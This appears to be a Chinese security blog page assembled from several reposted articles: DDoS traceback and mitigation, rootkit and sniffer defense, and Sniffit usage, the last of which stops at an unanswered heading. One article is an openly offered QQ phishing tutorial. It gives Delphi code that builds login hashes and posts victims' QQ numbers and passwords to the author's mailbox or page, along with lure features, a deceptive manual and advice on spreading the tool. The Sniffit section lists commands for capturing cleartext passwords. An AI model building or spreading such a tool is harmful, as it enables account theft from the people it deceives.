这种方法主要依靠路由器自身产生的ICMP跟踪消息。每个路由器都有很低的概率(比如:1/200000),数据包可能会把内容复制到一个ICMP消息包中,并且包含了到临近源地址的路由器信息。当flood攻击开始的时候,victim就可以利用这些ICMP消息来重新构造攻击者的路径。这种方式同上面介绍的比较,有很多优点,但是也有一些缺点。比如:ICMP可能被从普通流量中过滤掉,并且,ICMP追踪消息还要同input debugging特性(将数据包同数据包input端口和/或者要到达的MAC地址关联的能力)相关,但是,可能一些路由器就没有这样的功能。同时,这种办法还必须有一种办法来处理攻击者可能发送的伪造ICMP Traceback消息。也就是说,我们可以把这种方式同其他办法一起使用来让跟踪机制更有效。(IETF iTrace)

这就是yawl说的IETF的工作组研究的内容,当时我给Bellovin提出一些意见,但是没有得到答案。比如:

1、尽管是随机1/20000发送追踪包,但是,对于伪造TRACEBACK的包情况下,对路由器的效率将有一定的影响。

2、追踪包的认证并不能解决伪造问题。因为要判别是否是伪造包,那么必须去认证,加大了工作量。

3、即便使用NULL 认证,同样能够达到目的(有认证的情况下)。而且也不会有太大影响。

4、Itrace的本来目的是去对付DOS的欺骗源问题,但是现在的设计仿佛让我们更关心的是路径而不是源头。难道路径比源头更对我们解决DOS问题有用么?

等等,还有一堆问题,都是我觉得iTrace将会面临的很难处理的问题。

数据包标记

这种技术构想(因为现在没有实用)就是要在现有协议的基础上进行修改,而且修改很小,不象iTrace的想法,个人认为比iTrace更好一些。

这种追踪技术有很多细节研究,形成多种标记算法,但是最好的还是经过压缩的边缘取样算法。

这种技术原理就是修改IP头中,重载其中的identification域。也就是如果没有使用到identification域的话,将这个域定义为标记。

将16bit的idnetification分成:3bit的offset(可允许8次分片),5bit的distance,以及8bit的边缘分片。5bit的distance可以允许31级路由,这对于目前的网络来说已经足够了。

标记和重构路径的算法是:

Marking procedure at router R: let R' = BitIntereave(R, Hash(R)) let k be the number of

none-overlappling fragments in R' for

each packet w let x be a random number from [0..1) if xlet o be a random integer from

[0..k-1] let f be the fragment of R' at

offset o write f into w.frag write 0 into w.distance wirte o into w.offset else if

w.distance=0 then let f be the fragment of

R' at offset w.offset write f?w.frag into w.frag increment w.distance Path reconstruction

procedure at victim v: let FragTbl

be a table of tuples(frag,offset,distance) let G be a tree with root v let edges in G be

tuples(start,end,distance) let

maxd:=0 let last:=v for each packet w from attacker FragTbl.Insert

(w.frag,w.offset,w.distance) if w.distance>maxd then

maxd:=w.distance for d:=0 to maxd for all ordered combinations of fragments at distance d

construct edge z if d!=0 then z:=

z?last if Hash(EvenBits(z))=OddBits(z) then insert edge(z,EvenBits(z),d) into G

last:=EvenBits(z); remove any edge(x,y,d)

with d!=distance from x to v in G extract path(Ri..Rj) by enumerating acyclic paths in G

实验室情况下这种标记技术只需要victim能够抓到1000到2500个包就能够重构整个路径了,应该说结果是很好的,但是没有投入到实用中,主要是需要路由器厂商和ISP支持。

差不多ip traceback的已经实用的技术和实验室技术,或者已经死掉的,就主要是这些,虽然还有其他的一些。

已经很长时间没有搞DDOS防范这一块了,国内也有黑洞这样的产品,以前也了解一些国外的,比如floodguard、toplayer、radware等。受securitytest提示,又了解到riverhead的,我就立刻看了看他们的白皮书。

因为前面bigfoot提出的主要是ip traceback的题目,securitytest也又到防御的问题。针对DDOS的问题ip traceback和Mitigation是不一样的,ip traceback主要是进行追踪,因为DDOS主要是spoof,而很难判别到真正的攻击源,而且如果能够很容易找到真正的攻击源,不仅仅对付DDOS,对付其他的攻击也很有帮助,比如法律问题等。而Mitigation是从受害者的角度,因为victim一般是没有能力去调查整个网络,找出source,而且,即便能够找到source,也得有法律或者一些沟通的手段来让source停下来(攻击的source并不是source的攻击者),这种意味着大量的沟通、跨ISP、跨过等类似的非技术问题,所以,通常很难处理。但是从victim的角度来说,必须得有所解决办法,所以就需要Mitigation。

这又正好是我以前研究的范围,所以,又会说出一大堆。对于Mitigation,其实,技术的根本就是要能从众多的流量中将攻击包和合法包分离出来,把攻击包抛弃掉,让合法包通过就性了。这就是根本,所以实际运用的技术就是要如何尽可能识别出攻击包,而又尽可能小地影响正常包。这又得来分析DDOS(甚至DOS)的方式和原理。基本又下面几种形式:

1、系统漏洞形成的DOS。这种特征固定,检测和防御也容易。

2、协议攻击(一些跟系统处理相关,一些跟协议相关)。比如SYN FLOOD,碎片等。特征还好识别,检测和防御相对容易。比如SYN COOKIE、SYN CACHE,碎片可以抛弃。比如land攻击、smurf、teardrop等。

3、bandwidth FLOOD。垃圾流量堵塞带宽,特征不好识别,防御不容易。

4、基本合法的FLOOD。比3更难了,比如分布的Slashdot。

实际的DDOS,一般都是多种方式结合的。比如SYNFLOOD,可能同时是bandwidth FLOOD。

影响防御的主要因素就是看特征是否能得到,比如1、2就相对好解决,一些基本不影响的使用的FLOOD,则可以很好被抛弃,比如ICMP FLOOD。

但是,攻击发包工具如果将数据包更能伪装成合法包,那么就很难识别出来了。

一般的Mitigation方法也就是:

1、Filter。对于特征明显的,比如一些蠕虫等,在路由器上就可以搞定。当然,过滤是最终解决办法,只要识别出了攻击包,就是要把这些包过滤掉。

2、随机丢包。跟随机算法相关,好的算法可以让合法包受到更小影响。

3、SYN COOKIE、SYN CACHE等特定防御办法。针对一些固定的攻击手段来防御和过滤。比如ICMP FLOOD、UDP FLOOD。SYN COOKIE等都是避免spoof问题,至少TCP还有三次握手,所以还好判断SPOOF。

4、被动消极忽略。可以说也是一种确认是否被欺骗的办法。一般正常连接失败会重新尝试,但是攻击者一般不会尝试的。所以可以临时抛弃第一次连接请求而接受第二次或者第三次连接请求。

5、主动发送RST。对付SYN FLOOD的,比如一些IDS上。当然,实际不是有效的。

6、统计分析和指纹。这本来是研究的主要内容,但是最后陷入了算法牛角尖,因为主要是一个算法问题。通过统计分析的角度来得到指纹,然后根据指纹来抛弃攻击包,也是一种异常检测的技术。说得很简单,但是要不影响合法包也不容易,不至于变成了随机丢包。(其实当时考虑太过复杂,非得要详细分析出攻击包和合法包,实际不需要,只要过滤掉足够的攻击包,即便让攻击包通过,但只要不造成DOS就可以了。)这也是很多研究者研究的主要课题,目的也就是识别攻击包。

现在在回到securitytest提到的riverhead。关于riverhead的技术,我都只是从他们的白皮书上了解到的,但根据我的分析技术方法都没有超出上面提到的范围。

Riverhead的核心方案就是检测 Detection、转移 Diversion 和 缓解 Mitigation,也就是检测到攻击,然后将流量转移到他们的产品guard上,然后通过guard进行Mitigation。

它的实现步骤,就是:

因为没有图,所以先定义一下,才能说清楚:

#靠近分布式拒绝服务源头的路由器为 远端路由器

#靠近受害者的路由器为 近端路由器

#Riverhead的Guard设备附属安装的路由器为 附属路由器

防御的步骤

1、首先检测到有DDOS发生,并了解到victim。

2、Guard发送BGP通告到远端路由器(在victim的BGP通告设置前缀,并得到比原始BGP通告更高的优先权),表示从远端路由器到victim有新的路由,并且路由到Guard的loopback interface,所有到victim的都经过附属路由器转移到了Guard上。

3、Guard检查流量,并且清除其中的攻击流量,然后把安全的流量转发到附属路由器上,在回到victim其中核心就是Guard,技术就是白皮书中描述的MVP架构(Multi-Verification Process),也就是下面5个层次过滤(Filtering) :这个模块包含静态和动态的DDOS过滤。静态过滤,拦截non-esse ntial流量,可以是用户定义的,或者是riverhead默认提供的。动态过滤则基于行为分析和流量的细节分析,通过增加对可疑流量的确认或拦截已经确认的恶意流量,来进行实时更新反欺骗(Anti-Spoofing):这个模块验证进入系统的数据包是否被欺骗的。Guard使用了独有的、有专利的源验证机制来避免欺骗。也通过一些机制来确认合法流量,消除合法数据包被抛弃异常检测(Anomaly Recognition):该模块监视所有没有被过滤和反欺骗模块抛弃的流量,将流量同平常纪录的基线行为进行比较,发现异常。基本原理就是通过模式匹配,区别来自black-hat和合法通讯之间的不同。该原理用来识别攻击源和类型,而且提出拦截这类流量的指南。

异常检测包括: 攻击流量速率大小 包大小和端口的分布 包到达时间的分布 并发流量数 高级协议特征 出、入的速率 流量分类: 源IP 源端口 目的端口 协议类型 连接量(每天、每周) 协议分析(Protocol Analysis):本模块处理异常检测中发现的可疑的应用方面的攻击,比如http攻击。协议分析也检测一些协议错误行为。

流量限制(Rate Limiting):主要是处理那些消耗太多资源的源头流量。

所以,实际上最主要的内容就是异常检测中的统计分析,但是从上面看似乎没有多少特别的地方,但是,一定有很好的算法。比如FILTER,实际是对付一些很熟悉的有明显特征的攻击,反欺骗,就是对付syn flood这样的,说不定也是一个syn cookie模块,,但也许有更专利的技术。

协议分析其实应该来说就比较弱了,但可以针对一些常见协议中的特定攻击,检测识别一些协议错误行为只是协议校验,这个很简单。流量限制则就是一种随机丢包,最无奈的办法,所以也是最后一个层次了。

因为这个产品主要是作Mitigation的,而不是ip traceback。但是可以判定还是有重要的问题,比如:

1、如何对付真正的bandwidth flood。如果路由器是千兆的,但是,攻击流量已经占了90%,只流下10%让合法使用,路由器已经先与Guard开始进行随机丢包了。(没办法,这是所有防御技术的瓶颈)

2、真正的攻击。真正的攻击是很难或者无法识别的。比如,基本跟正常形式一样的,如果和统计数据很接近,那么很难区别出来。还有一些攻击,比如反射式的邮件攻击等,这是完全合法的,但是很难分类出来。

探密QQ登陆加密算法兼谈简单打造一个QQ钓鱼工程

文章作者:zshoucheng
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

转载请保持文章完整性

1.QQ登陆加密算法

QQ命令行启动方式:

Quote:

QQ.exe /START QQUIN:QQ号码 PWDHASH:加密后的QQ密码 /STAT:登陆状态(40隐身,41正常)

其中PWDhash 原本是为实现 QQ 与 TM无缝切换而用的将密码加密传递的参数。使得用户能在 QQ 与 TM 之间快速切换而不用再次输入密码。

PWDHASH就是对我们的原始QQ密码进行MD5散列算法处理,得到一个16字节的MD5 HASH 字节组,然后再用BASE64编码对这个HASH字节组做第二次编码得到的。理论上说是无法从PWDHASH反推出原始的QQ密码的。但是,如果密码过于简单,如纯数字之类的,是可能被简单暴力破解的。

下面以Delphi代码讲解,附件中有Delphi的实现单元和相应的C#类,目的是让大家能够选择自己喜欢的编程语言实现

获取QQ命令行启动参数函数:(参数:QQ号码、QQ密码、登陆状态)
Code Language : Delphi

function GetCommandLine(QQNum, QQPw: string; QQState: integer): string;
type
TempChar = array[0..15] of char;
var
md5: TIdHashMessageDigest5;
begin
md5 := TIdHashMessageDigest5.Create;
result := ' /START QQUIN:' + QQNum + ' PWDHASH:' + Base64(TempChar(md5.HashValue(QQPw))) + ' /STAT:' + IntToStr(QQState);
md5.Free;
end;

Parsed in 0.015 seconds
上面函数用到的Base64函数为:
Code Language : Delphi

function Base64(Src: string): string;
const
DataSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
i, ModLen: integer;
Current: string;
Buf: array[1..3] of Byte;
NewBuf: array[1..4] of Byte;
begin
result := '';
if Src = '' then
exit;
ModLen := Length(Src) mod 3;
while Length(Src) > 0 do
begin
FillChar(Buf, 3, #0);
Current := Copy(Src, 1, 3);
Src := Copy(Src, 4, Length(Src) - 3);
for i := 1 to 3 do
Buf[i] := Ord(Current[i]);
NewBuf[1] := Buf[1] shr 2;
NewBuf[2] := (Buf[1] shl 6 shr 2 or Buf[2] shr 4) and $3F;
NewBuf[3] := (Buf[2] shl 4 shr 2 or Buf[3] shr 6) and $3F;
NewBuf[4] := Buf[3] and $3F;
for i := 1 to 4 do
result := result + DataSet[NewBuf[i] + 1];
end;
if ModLen >= 1 then
result[Length(result)] := '=';
if ModLen = 1 then
result[Length(result) - 1] := '=';
end;

Parsed in 0.038 seconds
这样就可以实现从命令行直接登陆QQ了。

另外我们还要获取QQ的安装路径:
在注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\TENCENT\PLATFORM_TYPE_LIST 下面有几个子键,1中的 TypePath 的键值为 QQ 的安装路径,2中的 TypePath 的键值为 TM 的安装路径。我们就可以通过读取注册表来获取QQ的安装路径了(其实现比较简单,请参见源码)。

2.简单打造QQ钓鱼工程

有了上面的QQ自动登陆的实现,我们就可以写出一个QQ自动登陆器了。这就和我要说的QQ钓鱼工程联系上了,聪明的你一定也想出来了。
编写一款优秀的QQ木马去截获QQ密码框中的密码对我等小菜来说难以实现,但我们却可以变相地去获取QQ密码:
当别人使用我们的QQ自动登陆器登陆QQ时,我们可以把他所输入的QQ以及密码发送到我们的邮箱或指定网页上,这里给出ASP发信的代码:
Code Language : Delphi

function HtmlEncode(s: string): string;
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end
else result := result + s[i];
end;

function UpperCase(AStr: string): string; overload;
var
LI: Integer;
begin
Result := AStr;
for LI := 1 to Length(Result) do
Result[LI] := UpCase(Result[LI]);
end;

// 以Post方式发信
function PostURL(const aUrl: string; FTPostQuery: string; const strPostOkResult: string = 'Send OK!'): Boolean;
var
hSession: HINTERNET;
hConnect, hRequest: hInternet;
lpBuffer: array[0..1024 + 1] of Char;
dwBytesRead: DWORD;
HttpStr: string;
HostName, FileName: string;
FTResult: Boolean;
AcceptType: LPStr;
Buf: Pointer;
dwBufLen, dwIndex: DWord;
procedure ParseURL(URL: string; var HostName, FileName: string);
procedure ReplaceChar(c1, c2: Char; var St: string);
var
p: Integer;
begin
while True do
begin
p := Pos(c1, St);
if p = 0 then Break
else St[p] := c2;
end;
end;
var
i: Integer;
begin
if Pos(UpperCase('http://'), UpperCase(URL)) <> 0 then
System.Delete(URL, 1, 7);
i := Pos('/', URL);
HostName := Copy(URL, 1, i);
FileName := Copy(URL, i, Length(URL) - i + 1);
if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
SetLength(HostName, Length(HostName) - 1);
end;
begin
Result := False;
hSession := InternetOpen('MyApp', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
if Assigned(hSession) then
begin
ParseURL(aUrl, HostName, FileName);
hConnect := InternetConnect(hSession, PChar(HostName),
INTERNET_DEFAULT_HTTP_PORT, nil, nil, INTERNET_SERVICE_HTTP, 0, 0);
AcceptType := PChar('Accept: */*');
hRequest := HttpOpenRequest(hConnect, 'POST', PChar(FileName), 'HTTP/1.0',
nil, @AcceptType, INTERNET_FLAG_RELOAD, 0);
HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
PChar(FTPostQuery), Length(FTPostQuery));
dwIndex := 0;
dwBufLen := 1024;
GetMem(Buf, dwBufLen);
FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
Buf, dwBufLen, dwIndex);
if FTResult = True then
try
while True do
begin
dwBytesRead := 1024;
InternetReadFile(hRequest, @lpBuffer, 1024, dwBytesRead);
if dwBytesRead = 0 then break;
lpBuffer[dwBytesRead] := #0;
HttpStr := HttpStr + lpBuffer;
end;
Result := pos(strPostOkResult, HttpStr) > 0;
finally
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
end;
end;
finally
InternetCloseHandle(hSession);
end;
end;

Parsed in 0.126 seconds
我们可以给我们的QQ自动登陆器加多些功能,以吸引别人使用(钓鱼嘛~),比如:

QQ性别任意修改:
Code Language : Delphi

procedure ChangeSex(sex:string);
var
tmp:pchar;
h,h1,h2,h3,h4,h5:HWND;
id:integer;
begin
h := FindWindow('#32770','QQ2007设置');
if h=0 then
h := FindWindow('#32770','QQ2006设置');
if h<>0 then begin
h1 := FindWindowEx(h,0,'#32770',nil);
h2 := FindWindowEx(h1,0,'#32770',nil);
h3 := GetDlgItem(h2,1356);
h4 := GetDlgItem(h2,551);
h5 := GetDlgItem(h1,1343);
SendMessage(h3,32,0,0); //WM_SETCURSOR
id := SendMessage(h3,323,0,longint(pchar(sex))); //给QQ性别组合框加一项
SendMessage(h3,334,id,0); //选择所加的那项
SendMessage(h4,13,10,longint(@tmp));
SendMessage(h4,12,0,longint(@tmp));
SendMessage(h5,245,0,0); //点击确定按钮
end
else
Application.MessageBox('请先打开QQ个人设置窗口!','提示',MB_OK);
end;

Parsed in 0.033 seconds
QQ强行聊天:
Code Language : Delphi

procedure QQChat(number:string);
var
inum:integer;
begin
if trystrtoint(number,inum) then
begin
if inum>10000 then
ShellExecute(handle,nil,pchar('Tencent://Message/?Menu=YES&Exe=&Uin='+number),nil,nil,SW_NORMAL)
else
Application.MessageBox('无此QQ号码!','提示',MB_OK);
end
else
Application.MessageBox('请输入有效的QQ号码!','提示',MB_OK);
end;

Parsed in 0.017 seconds
这些功能的实现都是再简单不过了,但对于不懂编程的人来说却觉得很神奇(我给我身边的同学、朋友用的时候他们都崇拜地对我说:你太厉害了!而我,背后暗笑中……)

程序最终效果如图:


到这里我们的QQ钓鱼工程就快完成了,我们可以写个使用说明,使用点社会工程学技巧:

Quote:

程序功能:
1.自动登陆
能有效防止所有的QQ盗号木马,因为QQ盗号木马是通过截获QQ登陆窗口实现盗号的
使用本软件登陆QQ,即使你中了QQ木马,你的QQ也不会被盗

2.QQ性别任意修改
可以将你QQ性别修改为任意的(你的QQ好友查看你的QQ资料时即可看到效果)

3.强行聊天
能和任意QQ号码聊天,无须添加对方为好友
……

然后发到国内一些下载站上去,或者在一些论坛宣传……你就等着收QQ吧!


郑重声明:本文旨在技术交流,其中介绍的技术仅供测试,非法盗取他人帐号是违法的。对使用本文所介绍的技术引起的任何法律问题与本人。无关!

星期三, 六月 06, 2007

正面应对 迎战Rootkit造成的安全威胁

正面应对 迎战Rootkit造成的安全威胁

来源:赛迪网 作者:茫然的风

Rootkit可以说是最新的安全威胁之一。任何听说过它的人都知道它臭名昭著:无法删除,在一台计算机内部存在数年而不被发现,而且可通过操作系统发动攻击。

Rootkits:隐藏的安全威胁

什么是Rootkit呢?根据www.whatis.com的观点,一个Rootkit就是一个允许以管理员身份访问计算机或计算机网络的工具的集合(a Rootkit is “a collection oftools that enable administrator-level access to a computeror a computer network.”)。根据安全专家Greg HogLund的观点,Rootkit是一个设计出来在一个系统中隐藏自身和/或其它过程数据/活动的工具。虽然名声不好,Rootkit实际上却可以拥有十分重要的应用,如管理许可证或隐藏一些管理员不想让其他人看见的文件等。Rootkit的问题在于那些隐藏一些东西并为远程用户提供访问服务的程序,它们可被滥用引起各种安全问题。如今Rootkit可被用来危及计算机的安全,因此计算机用户必须清楚这些Rootkit。Rootkit基本上可作为间谍软件、特洛伊木马、钓鱼软件和其它有害程序的一个基础平台。关于Rootkit的好话我们就不多说了,先重点谈谈Rootkit被用来犯罪的工具问题。

计算机犯罪的理想工具

因为众所周知的经济方面上的原因,近年来Rootkit已经成为一个日益严重的问题。Rootkit的力量在于它允许远程用户控制受害人的系统。一旦它在你的系统上制造或发现一个后门,就可以收集各种各样的个人信息,如信用卡号等。

Rootkit常被用来利用间谍软件和键盘记录程序进行犯罪活动。Rootkit还可以作为蠕虫和病毒的快速启动的跳板。实际上,一些蠕虫就包含Rootkit,这些Rootkit安装在被感染蠕虫的计算机上,从而通过网络进一步扩散。Rootkit的最大危险在于它们可以给远程用户一种能够对系统实施“外壳访问”(shell access)的权限,也就是说黑客可以完全地控制目标系统。如此一来,Rootkit就可以拥有一种几乎无限的破坏潜力。

Rootkit阴险地潜入

Rootkit可存在于内核、库、和应用程序的层次上。内核级的Rootkit特别危险,是人们注意的中心,因为它们十分地难于检测。Rootkit的一个真正狡猾的特点就是:有一些类型的Rootkit可以将其自身与操作系统紧密地绑定,实际上,几乎不可能检测它们。其结果是,Rootkit可以以这种方式取代操作系统,如此一来,用户就不能相信操作系统传给用户的信息。

传统的反间谍软件和反病毒程序在这种情况下是无能为力的,因为它们依靠操作系统自身来寻求状态信息,而操作系统却已被控制。虽然一些Rootkit实际上相当阴险,不过,事实上许多Rootkit可通过关机,然后从另一个干净的磁盘重新启动来检测到。毕竟一个非活动的Rootkit是无法隐藏自己的。

感染了Rootkit怎么办?

有一种观点认为,在感染之前(或者没有被安装Rootkit)),只需备份系统,然后重新格式化磁盘再恢复系统是个好办法。无可否认,这是针对此问题的一个极端的方法。现在有多种免费的或开源的Rootkit检测工具来解决问题,不过这并非是真正的安全之道。用户应谨慎地选择这种软件。特别是免费的Rootkit检测工具并不能像商业软件那样及时更新,而此Rootkit的发展步伐又是如此之快,因此我们还要寻求其它的方法。

因为Rootkit经常被用作间谍软件的平台,配置最好的可以解决Rootkit问题的商业软件或硬件厂商通常是那些有着丰富的间谍软件检测和清除经验的公司。一个Rootkit的检测和清除程序使用多维向量来确认问题。这种程序还应该有最新的被确认的Rootkit的列表,从而确保那些新出现的Rootkit不会成为漏网之鱼。这也就是用户及时更新其签名文件的重要原因。

记住下面一点也是很重要的:并非所有的Rootkit都是恶意的。用户并不想要一个Rootkit检测程序只是检测那些它所能够发现的恶意的Rootkit。一个良好的Rootkit检测程序还应该分辨善意和恶意的Rootkit,并能让管理员禁用或启用这些Rootkit程序。

检测和清除Rootkit的策略

从一定意义上讲,Rootkit是难于清除的,特别是对于那些处于操作系统级的Rootkit来说。不过,这又依赖于Rootkit的执行、实施方法。用户可以在操作系统内核级上安装工具软件,也可以在用户模式水平上放置一些工具。总的来说,Rootkit的目的地是对用户隐藏信息、过程和文件,因此无论是检测还是清除都是相当困难的、复杂的。一般说来,删除比检测更难于实施,因为你要确保操作系统在清除Rootkit后还能正常工作。当今的大多数Rootkit都是可以从系统中安全地清除的,但今后一、两年内,清除Rootkit可能会是一个相当重大的挑战。

那么检测和清除Rootkit的最困难的方面是什么呢?我们说过,Rootkit就是来隐藏信息的。这样你就再也不能真正的相信操作系统本身。一旦你的机器感染了恶意的Rootkit,那么操作系统所告诉你的任何东西都不再是真正可信的信息。因此,从操作系统中清除一个Rootkit的首要一步就是引入能够理解操作系统最低级信息的技术。例如,磁盘如何被格式化。因此对操作系统之下的技术所掌握的能力能够使你确认任何可认为是Rootkit的蛛丝马迹。换句话说,对一个操作系统的更高深的知识和能力是非常关键的。

科学的检测技术应位于操作系统之下,我们可以将操作系统在机器上所看到的与检测软件在操作系统最低层上所看到的相比较。如果二者匹配,操作系统极有可能是干净的、安全的,但如果二者有差异,那你就应该好好看一下了,因为这有可能是一个潜在的Rootkit感染的迹象。

用户可以采取以下几方面的步骤来减少总体的暴露程度和被Rootkit感染的风险:

1.通过尽快地确保计算机打上最新的补丁来保证系统的健康,特别是如果你采用微软的操作系统的话。不过,这条忠告适用于任何其它的操作系统或应用程序。

2.建议用户以非超级用户的身份登录。说来容易做来难。不过,事实是:如果你减少登录用户的权限,你就是在大大地减少被Rootkit感染的风险。

3.总是同时地、及时地更新你的反间谍软件和反病毒软件。

笔者还要建议此文的阅读者:一定要小心所谓的免费下载!一些所谓的免费下载并不是真得免费。因为你是要付出代价的。很多所谓的“免费”下载可能会包含恶意软件或Rootkit,用户完全应该采取预防措施以防止这种事情的发生。尽量从可信任的站点下载,因为它们可为用户提供一定的安全保障,但并非绝对。

防黑秘笈 抵御来自 Sniffer的嗅探攻击

防黑秘笈 抵御来自 Sniffer的嗅探攻击

作者:systec_hd 来源:赛迪网安全社区

1.怎样发现 Sniffer

Sniffer最大的危险性就是它很难被发现,在单机情况下发现一个Sniffer还是比较容易的,可以通过查看计算机上当前正在运行的所有程序来实现,当然这不一定可靠。

在UNIX系统下可以使用下面的命令:ps-aux。这个命令列出当前的所有进程、启动这些进程的用户、它们占用CPU的时间以及占用多少内存等等。

在Windoos系统下,可以按下Ctrl+Alt+Del键,查看任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里。

另一个方法就是在系统中搜索,查找可怀疑的文件。但人侵者用的可能是他们自己写的程序,所以这给发现Sniffer造成相当大的困难。还有许多工具能用来查看你的系统会不会处于混杂模式,从而发现是否有一个Sniffer正在运行。 但在网络情况下要检测出哪一台主机正在运行Sniffer是非常困难的,因为Sniffer是一种被动攻击软件,它并不对任何主机发出数据包,而只是静静地运行着,等待着要捕获的数据包经过。

2.抵御 Sniffer

虽然发现一个Sniffer是非常困难的,但是我们仍然有办法抵御Sniffer的嗅探攻击。既然Sniffer要捕获我们的机密信息,那我们干脆就让它捕获,但事先要对这些信息进行加密,黑客即使捕捉到了我们的机密信息,也无法解密,这样,Sniffer就失去了作用。

黑客主要用Sniffer来捕获Telnet、FTP、POP3等数据包,因为这些协议以明文在网上传输,我们可以使用一种叫做SSH的安全协议来替代Telnet等容易被Sniffer攻击的协议。

SSH又叫Secure Shell,它是一个在应用程序中提供安全通信的协议,建立在客户/服务器模型上。SSH服务器分配的端口是22,连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据用IDEA技术来加密。这种加密方法通常是比较强的,适合于任何非秘密和非经典的通信。

SSH后来发展成为F-SSH,提供了高层次的、军方级别的对通信过程的加密。它为通过TCP/IP的网络通信提供了通用的最强的加密。如果某个站点使用F—SSH,用户名和口令就不再重要了。目前,还没有人突破过这种加密方法。即使是Sniffer,收集到的信息将不再有价值。有兴趣的读者可以参看与SSH相关的书籍。

另一种抵御Sniffer攻击的方法是使用安全的拓扑结构。因为Sniffer只对以太网、令牌环网等网络起作用,所以尽量使用交换设备的网络可以从最大程度上防止被Sniffer窃听到不属于自己的数据包。还有一个原则用于防止Snther的被动攻击 一个网络段必须有足够的理由才能信任另一网络段。网络段应该从考虑具体的数据之间的信任关系上来设计,而不是从硬件需要上设计。一个网络段仅由能互相信任的计算机组成。通常它们在同一个房间里,或在同一个办公室里,应该固定在建筑的某一部分。注意每台机器是通过硬连接线接到集线器(Hub)的,集线器再接到交换机上。由于网络分段了,数据包只能在这个网段上被捕获,其余的网段将不可能被监听。

所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。系统管理员的工作就是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,告诉你什么时候放置了一个Sniffer,它放在哪里,是谁放的等等。

如果局域网要和Internet相连,仅仅使用防火墙是不够的。人侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。应该关心的是一旦人侵者进人系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的Web服务器对计算机A是信任的,那么有多少计算机是A信任的呢?又有多少计算机是受这些计算机信任的呢?一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击并成功。你的任务就是保证一旦出现Sniffer,它只对最小范围有效。

Sniffr往往是在攻击者侵人系统后使用的,用来收集有用的信息。因此,防止系统被突破很关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量,因为许多攻击往往来自网络内部。

3.防止 Sniffer的工具 Antisnff

Antisniff是由著名黑客组织(现在是安全公司了)L0pht开发的工具,用于检测本地网络是否有机器处于混杂模式(即监听模式)。

一台处于混杂模式的机器意味着它很可能已被入侵并被安装了Sniffer。对于网络管理员来说,了解哪台机器正处于混杂模式以作进一步的调查研究是非常重要的。

Antisniff 1.X版运行在以太网的WindOWS NT系统中,并提供了简单易用的用户图形界面。该工具以多种方式测试远程系统是否正在捕捉和分析那些并不是发送给它的数据包。这些测试方法与其操作系统本身无关。

Antisniff运行在本地以太网的一个网段上。如果在非交换式的C类网络中运行,Antisniff能监听整个网络;如果网络交换机按照工作组来隔离,则每个工作组中都需要运行一个Antisniff。原因是某些特殊的测试使用了无效的以太网地址,另外某些测试需要进行混杂模式下的统计(如响应时间、包丢失率等)。

Antisniff的用法非常简便,在工具的图形界面中选择需要进行检查的机器,并且指定检查频率。对于除网络响应时间检查外的测试,每一台机器会返回一个确定的正值或负值。返回的正值表示该机器正处于混杂模式,这就有可能已经被安装了Sniffer。

对于网络响应时间测试的返回值,建议根据第一次返回的数值计算标准值,然后再对在flood和非flood两次测试时返回的结果有较大变化的机器进行检查。一旦这些机器退出混杂模式返回到正常操作模式下,Antisniff的下一次测试将会记录到混杂模式和非混杂模式的差值(正值)。

应该周期性地运行Antisniff,具体周期值根据不同的站点、不同的网络负荷、测试的机器数量和网站策略等而有所不同。

管理工具变入侵利器 深入分析Sniffit

来源:赛迪网安全社区 作者:systec_hd

1.Sniffit 既是个优秀的管理工具也是个危险的侵入工具。可被管理员用来检查网络中到底传输了些什么,学习各种tcp/ip协议的工作方法,也能被攻击者利用,主要是记录密码。

2.工作原理:为什么能检查密码和不是传送给自己的数据呢?

在典型的LAN环境中,(指共享式HUB上连接的两个用户A和B),基于共享式HUB的工作原理,用户A发出的所有tcp/ip请求在HUB的每个端口上广播,正常情况下,B不接收这些目标地址不是自己的数据,但是一旦我们在B机上运行sniffit一类的监听工具,就能置网卡于第三种叫混杂模式的状态下(前两种为tcp,udp模式),在该状态下,网卡接受所有的数据,不管是发给自己的,还是不发给自己的,都被网卡接收并直接传给最上层应用层,交由相应的软件如sniffit处理。

3.常见用法

a.检测telnet/ftp/pop3密码:

#sniffit -a -A. -p 23 -b -t 192.168.11.@

#sniffit -a -A. -p 110 -b -t 192.168.11.1 (pop3 server)

b.查看http头信息

#sniffit -a -A. -p 80 -b -s 1.2.3.4 (1.2.3.4是防火墙外部地址)

c.记录输出到文件

#sniffit -p 21 -l 0 -b -s 192.168.11.2 &

d.查看icmp消息

#sniffit -p icmp -b -s 192.168.1.2

e.交互式界面

#sniffit -i

f.检查本网段内发出名字广播的机器

#sniffit -a -A. -P udp -p 137 -b -s 192.168.11.255

g.注意防火墙的情况

若要检查防火墙内部网卡上的包eth1,可能你要设置 -F eth1参数,因为默认地sniffit 假设为eth0。

4.哪些信息是敏感的和易被检测的?

Telnet/ftp/pop3的密码都是明文传送的,都是易被检测的,apache的基本方式的用户名/密码认证也是UU编码后的口令,也是易被检测的。

5.怎样阻止?

